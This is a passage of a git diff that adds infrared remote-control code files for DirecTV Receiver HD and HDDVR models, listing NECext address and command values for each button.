BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir new file mode 100644 index 000000000..d054ec1f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV._CH. +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: -_DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: REPLAY_10 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: SKIP_30 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: COLOR_RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: COLOR_YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: COLOR_GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: COLOR_BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: PROGRAMED_BUTTON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir new file mode 100644 index 000000000..a41bbe3c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir new file mode 100644 index 000000000..eb4383b68 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: -_DASH +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 20 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 21 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 22 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 23 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 35 00 00 00 +# +name: REPLAY_10 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 36 00 00 00 +# +name: SKIP_30 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 37 00 00 00 +# +name: COLOR_RED +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 41 00 00 00 +# +name: COLOR_YELLOW +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 42 00 00 00 +# +name: COLOR_GREEN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 43 00 00 00 +# +name: COLOR_BLUE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 44 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir new file mode 100644 index 000000000..61ddd8c95 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir @@ -0,0 +1,506 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREVIOUS_CHAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: -_DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: (-) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: DASH_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: SCAN_REVERSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: PREVIOUS/REPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: NEXT/ADVANCE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: SKIP_>I +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: RED_DOT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: COLOR_RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: YELLOW_DOT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: COLOR_YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: GREEN_DOT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: COLOR_GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: BLUE_DOT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: COLOR_BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir new file mode 100644 index 000000000..f8f411d2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: -/DASH +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 36 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 44 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir new file mode 100644 index 000000000..b2c825d2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 